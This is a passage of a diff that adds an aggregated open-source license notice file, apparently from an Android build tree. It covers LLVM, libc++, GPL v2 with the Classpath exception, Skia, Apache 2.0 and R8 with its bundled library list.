+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
+SOFTWARE.
+
+==============================================================================
+Copyrights and Licenses for Third Party Software Distributed with LLVM:
+==============================================================================
+The LLVM software contains code written by third parties.  Such software will
+have its own individual LICENSE.TXT file in the directory in which it appears.
+This file will describe the copyrights, license, and restrictions which apply
+to that code.
+
+The disclaimer of warranty in the University of Illinois Open Source License
+applies to all code in the LLVM Distribution, and nothing in any of the
+other licenses gives permission to use the names of the LLVM Team or the
+University of Illinois to endorse or promote products derived from this
+Software.
+
+The following pieces of software have additional or alternate copyrights,
+licenses, and/or restrictions:
+
+Program             Directory
+-------             ---------
+Autoconf            llvm/autoconf
+                    llvm/projects/ModuleMaker/autoconf
+                    llvm/projects/sample/autoconf
+CellSPU backend     llvm/lib/Target/CellSPU/README.txt
+Google Test         llvm/utils/unittest/googletest
+OpenBSD regex       llvm/lib/Support/{reg*, COPYRIGHT.regex}
+
+======================================================================
+external/libcxx/NOTICE
+
+==============================================================================
+libc++ License
+==============================================================================
+
+The libc++ library is dual licensed under both the University of Illinois
+"BSD-Like" license and the MIT license.  As a user of this code you may choose
+to use it under either license.  As a contributor, you agree to allow your code
+to be used under both.
+
+Full text of the relevant licenses is included below.
+
+==============================================================================
+
+University of Illinois/NCSA
+Open Source License
+
+Copyright (c) 2009-2017 by the contributors listed in CREDITS.TXT
+
+All rights reserved.
+
+Developed by:
+
+    LLVM Team
+
+    University of Illinois at Urbana-Champaign
+
+    http://llvm.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal with
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimers.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimers in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the names of the LLVM Team, University of Illinois at
+      Urbana-Champaign, nor the names of its contributors may be used to
+      endorse or promote products derived from this Software without specific
+      prior written permission.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
+SOFTWARE.
+
+==============================================================================
+
+Copyright (c) 2009-2014 by the contributors listed in CREDITS.TXT
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+======================================================================
+libcore/LICENSE
+
+The GNU General Public License (GPL)
+
+Version 2, June 1991
+
+Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it.  By contrast, the GNU General Public License is intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users.  This General Public License applies to
+most of the Free Software Foundation's software and to any other program whose
+authors commit to using it.  (Some other Free Software Foundation software is
+covered by the GNU Library General Public License instead.) You can apply it to
+your programs, too.
+
+When we speak of free software, we are referring to freedom, not price.  Our
+General Public Licenses are designed to make sure that you have the freedom to
+distribute copies of free software (and charge for this service if you wish),
+that you receive source code or can get it if you want it, that you can change
+the software or use pieces of it in new free programs; and that you know you
+can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to deny
+you these rights or to ask you to surrender the rights.  These restrictions
+translate to certain responsibilities for you if you distribute copies of the
+software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or for
+a fee, you must give the recipients all the rights that you have.  You must
+make sure that they, too, receive or can get the source code.  And you must
+show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2)
+offer you this license which gives you legal permission to copy, distribute
+and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that
+everyone understands that there is no warranty for this free software.  If the
+software is modified by someone else and passed on, we want its recipients to
+know that what they have is not the original, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents.  We
+wish to avoid the danger that redistributors of a free program will
+individually obtain patent licenses, in effect making the program proprietary.
+To prevent this, we have made it clear that any patent must be licensed for
+everyone's free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice
+placed by the copyright holder saying it may be distributed under the terms of
+this General Public License.  The "Program", below, refers to any such program
+or work, and a "work based on the Program" means either the Program or any
+derivative work under copyright law: that is to say, a work containing the
+Program or a portion of it, either verbatim or with modifications and/or
+translated into another language.  (Hereinafter, translation is included
+without limitation in the term "modification".) Each licensee is addressed as
+"you".
+
+Activities other than copying, distribution and modification are not covered by
+this License; they are outside its scope.  The act of running the Program is
+not restricted, and the output from the Program is covered only if its contents
+constitute a work based on the Program (independent of having been made by
+running the Program).  Whether that is true depends on what the Program does.
+
+1. You may copy and distribute verbatim copies of the Program's source code as
+you receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice and
+disclaimer of warranty; keep intact all the notices that refer to this License
+and to the absence of any warranty; and give any other recipients of the
+Program a copy of this License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you may
+at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it, thus
+forming a work based on the Program, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all of
+these conditions:
+
+    a) You must cause the modified files to carry prominent notices stating
+    that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in whole or
+    in part contains or is derived from the Program or any part thereof, to be
+    licensed as a whole at no charge to all third parties under the terms of
+    this License.
+
+    c) If the modified program normally reads commands interactively when run,
+    you must cause it, when started running for such interactive use in the
+    most ordinary way, to print or display an announcement including an
+    appropriate copyright notice and a notice that there is no warranty (or
+    else, saying that you provide a warranty) and that users may redistribute
+    the program under these conditions, and telling the user how to view a copy
+    of this License.  (Exception: if the Program itself is interactive but does
+    not normally print such an announcement, your work based on the Program is
+    not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If identifiable
+sections of that work are not derived from the Program, and can be reasonably
+considered independent and separate works in themselves, then this License, and
+its terms, do not apply to those sections when you distribute them as separate
+works.  But when you distribute the same sections as part of a whole which is a
+work based on the Program, the distribution of the whole must be on the terms
+of this License, whose permissions for other licensees extend to the entire
+whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise the
+right to control the distribution of derivative or collective works based on
+the Program.
+
+In addition, mere aggregation of another work not based on the Program with the
+Program (or with a work based on the Program) on a volume of a storage or
+distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may copy and distribute the Program (or a work based on it, under
+Section 2) in object code or executable form under the terms of Sections 1 and
+2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable source
+    code, which must be distributed under the terms of Sections 1 and 2 above
+    on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three years, to
+    give any third party, for a charge no more than your cost of physically
+    performing source distribution, a complete machine-readable copy of the
+    corresponding source code, to be distributed under the terms of Sections 1
+    and 2 above on a medium customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer to
+    distribute corresponding source code.  (This alternative is allowed only
+    for noncommercial distribution and only if you received the program in
+    object code or executable form with such an offer, in accord with
+    Subsection b above.)
+
+The source code for a work means the preferred form of the work for making
+modifications to it.  For an executable work, complete source code means all
+the source code for all modules it contains, plus any associated interface
+definition files, plus the scripts used to control compilation and installation
+of the executable.  However, as a special exception, the source code
+distributed need not include anything that is normally distributed (in either
+source or binary form) with the major components (compiler, kernel, and so on)
+of the operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the source
+code from the same place counts as distribution of the source code, even though
+third parties are not compelled to copy the source along with the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except as
+expressly provided under this License.  Any attempt otherwise to copy, modify,
+sublicense or distribute the Program is void, and will automatically terminate
+your rights under this License.  However, parties who have received copies, or
+rights, from you under this License will not have their licenses terminated so
+long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed it.
+However, nothing else grants you permission to modify or distribute the Program
+or its derivative works.  These actions are prohibited by law if you do not
+accept this License.  Therefore, by modifying or distributing the Program (or
+any work based on the Program), you indicate your acceptance of this License to
+do so, and all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program),
+the recipient automatically receives a license from the original licensor to
+copy, distribute or modify the Program subject to these terms and conditions.
+You may not impose any further restrictions on the recipients' exercise of the
+rights granted herein.  You are not responsible for enforcing compliance by
+third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues), conditions
+are imposed on you (whether by court order, agreement or otherwise) that
+contradict the conditions of this License, they do not excuse you from the
+conditions of this License.  If you cannot distribute so as to satisfy
+simultaneously your obligations under this License and any other pertinent
+obligations, then as a consequence you may not distribute the Program at all.
+For example, if a patent license would not permit royalty-free redistribution
+of the Program by all those who receive copies directly or indirectly through
+you, then the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply and
+the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or
+other property right claims or to contest validity of any such claims; this
+section has the sole purpose of protecting the integrity of the free software
+distribution system, which is implemented by public license practices.  Many
+people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose that
+choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain
+countries either by patents or by copyrighted interfaces, the original
+copyright holder who places the Program under this License may add an explicit
+geographical distribution limitation excluding those countries, so that
+distribution is permitted only in or among countries not thus excluded.  In
+such case, this License incorporates the limitation as if written in the body
+of this License.
+
+9. The Free Software Foundation may publish revised and/or new versions of the
+General Public License from time to time.  Such new versions will be similar in
+spirit to the present version, but may differ in detail to address new problems
+or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any later
+version", you have the option of following the terms and conditions either of
+that version or of any later version published by the Free Software Foundation.
+If the Program does not specify a version number of this License, you may
+choose any version ever published by the Free Software Foundation.
+
+10. If you wish to incorporate parts of the Program into other free programs
+whose distribution conditions are different, write to the author to ask for
+permission.  For software which is copyrighted by the Free Software Foundation,
+write to the Free Software Foundation; we sometimes make exceptions for this.
+Our decision will be guided by the two goals of preserving the free status of
+all derivatives of our free software and of promoting the sharing and reuse of
+software generally.
+
+NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE
+PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED,
+INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND
+PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE,
+YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
+ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE
+PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR
+INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA
+BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER
+OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program.  It is safest to attach
+them to the start of each source file to most effectively convey the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+    One line to give the program's name and a brief idea of what it does.
+
+    Copyright (C) <year> <name of author>
+
+    This program is free software; you can redistribute it and/or modify it
+    under the terms of the GNU General Public License as published by the Free
+    Software Foundation; either version 2 of the License, or (at your option)
+    any later version.
+
+    This program is distributed in the hope that it will be useful, but WITHOUT
+    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
+    more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc., 59
+    Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this when it
+starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author Gnomovision comes
+    with ABSOLUTELY NO WARRANTY; for details type 'show w'.  This is free
+    software, and you are welcome to redistribute it under certain conditions;
+    type 'show c' for details.
+
+The hypothetical commands 'show w' and 'show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may be
+called something other than 'show w' and 'show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.  Here
+is a sample; alter the names:
+
+    Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+    'Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+    signature of Ty Coon, 1 April 1989
+
+    Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Library General Public
+License instead of this License.
+
+
+"CLASSPATH" EXCEPTION TO THE GPL
+
+Certain source files distributed by Oracle America and/or its affiliates are
+subject to the following clarification and special exception to the GPL, but
+only where Oracle has expressly included in the particular source file's header
+the words "Oracle designates this particular file as subject to the "Classpath"
+exception as provided by Oracle in the LICENSE file that accompanied this code."
+
+    Linking this library statically or dynamically with other modules is making
+    a combined work based on this library.  Thus, the terms and conditions of
+    the GNU General Public License cover the whole combination.
+
+    As a special exception, the copyright holders of this library give you
+    permission to link this library with independent modules to produce an
+    executable, regardless of the license terms of these independent modules,
+    and to copy and distribute the resulting executable under terms of your
+    choice, provided that you also meet, for each linked independent module,
+    the terms and conditions of the license of that module.  An independent
+    module is a module which is not derived from or based on this library.  If
+    you modify this library, you may extend this exception to your version of
+    the library, but you are not obligated to do so.  If you do not wish to do
+    so, delete this exception statement from your version.
+
+======================================================================
+external/skia/LICENSE
+
+Copyright (c) 2011 Google Inc. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+  * Redistributions of source code must retain the above copyright
+    notice, this list of conditions and the following disclaimer.
+
+  * Redistributions in binary form must reproduce the above copyright
+    notice, this list of conditions and the following disclaimer in
+    the documentation and/or other materials provided with the
+    distribution.
+
+  * Neither the name of the copyright holder nor the names of its
+    contributors may be used to endorse or promote products derived
+    from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/androidplot/NOTICE
+external/jsr330/NOTICE
+external/tagsoup/LICENSE
+external/testng/NOTICE
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+======================================================================
+prebuilts/r8/LICENSE
+
+This file lists all licenses for code distributed.
+All non-library code has the following 3-Clause BSD license.
+
+
+Copyright (c) 2016, the R8 project authors.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above copyright notice, this
+  list of conditions and the following disclaimer.
+
+* Redistributions in binary form must reproduce the above copyright notice,
+  this list of conditions and the following disclaimer in the documentation
+  and/or other materials provided with the distribution.
+
+* Neither the name of Google Inc. nor the names of its
+  contributors may be used to endorse or promote products derived from
+  this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+Summary of distributed libraries:
+
+- artifact: com.google.guava:guava:+
+  name: Guava Google Core Libraries for Java
+  copyrightHolder: The Guava Authors
+  license: The Apache Software License, Version 2.0
+  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
+- artifact: com.google.code.gson:gson:+
+  name: Gson
+  license: The Apache Software License, Version 2.0
+  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
+  url: https://github.com/google/gson
+- artifact: it.unimi.dsi:fastutil:+
+  name: fastutil
+  license: Apache License, Version 2.0
+  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.html
+  url: http://fasutil.di.unimi.it/
+- artifact: net.sf.jopt-simple:jopt-simple:+
+  name: JOpt Simple
+  license: The MIT License
+  licenseUrl: http://www.opensource.org/licenses/mit-license.php
+  url: http://pholser.github.com/jopt-simple
+- artifact: org.ow2.asm:asm-commons:+
+  name: ASM Commons
+  copyrightHolder: INRIA, France Telecom
+  license: BSD
+  licenseUrl: http://asm.ow2.org/license.html
+  url: http://asm.ow2.org/index.html
+- artifact: org.ow2.asm:asm-tree:+
+  name: ASM Tree
+  copyrightHolder: INRIA, France Telecom
+  license: BSD
+  licenseUrl: http://asm.ow2.org/license.html
+  url: http://asm.ow2.org/index.html
+- artifact: org.ow2.asm:asm-util:+
+  name: ASM Util
+  copyrightHolder: INRIA, France Telecom
+  license: BSD
+  licenseUrl: http://asm.ow2.org/license.html
+  url: http://asm.ow2.org/index.html
